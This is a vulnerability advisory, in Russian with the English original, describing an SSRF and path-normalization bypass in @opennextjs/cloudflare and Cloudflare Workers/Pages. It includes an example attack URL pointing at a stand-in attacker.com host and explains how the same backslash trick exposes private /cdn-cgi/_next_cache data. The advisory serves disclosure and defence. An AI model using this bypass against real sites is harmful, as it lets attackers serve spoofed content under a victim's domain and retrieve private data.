В пакете @opennextjs/cloudflare была обнаружена уязвимость подделки запросов на стороне сервера (SSRF), возникшая в результате обхода нормализации пути в обработчике /cdn-cgi/image/. Рабочий шаблон @opennextjs/cloudflare включает обработчик /cdn-cgi/image/, предназначенный только для использования в целях разработки. В рабочей среде Edge Cloudflare перехватывает запросы /cdn-cgi/image/ до того, как они достигнут Worker.
Однако, заменив прямую косую черту обратной косой чертой (/cdn-cgi\image/ вместо /cdn-cgi/image/), злоумышленник может обойти перехват границ и запрос достигнет работника напрямую. Затем класс URL-адресов JavaScript нормализует обратную косую черту на прямую, в результате чего запрос соответствует обработчику и запускает непроверенную выборку произвольных удаленных URL-адресов. Например:
https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com
В этом примере контролируемый злоумышленником контент с сайта Attacker.com обслуживается через домен сайта жертвы (victim-site.com), что нарушает политику одного и того же источника и потенциально вводит в заблуждение пользователей или другие службы.
Примечание. Этот обход работает только через HTTP-клиенты, которые сохраняют обратную косую черту в путях (например, Curl --path-as-is). Браузеры нормализуют обратную косую черту для прямой перед отправкой запросов.
Кроме того, аналогичной уязвимостью страдают работники Cloudflare с активами и страницами Cloudflare. Ресурсы, хранящиеся по путям /cdn-cgi/, при нормальных условиях не являются общедоступными. Однако при использовании того же обхода обратной косой черты (/cdn-cgi\... вместо /cdn-cgi/...) эти ресурсы становятся общедоступными.
Это можно использовать для получения личных данных. Например, проекты Open Next хранят данные инкрементального кэша в каталоге /cdn-cgi/_next_cache, которые можно получить с помощью этого обхода.
Показать оригинальное описание (EN)
A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs. For example: https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services. Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests. Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.
Характеристики атаки
Последствия
Строка CVSS v4.0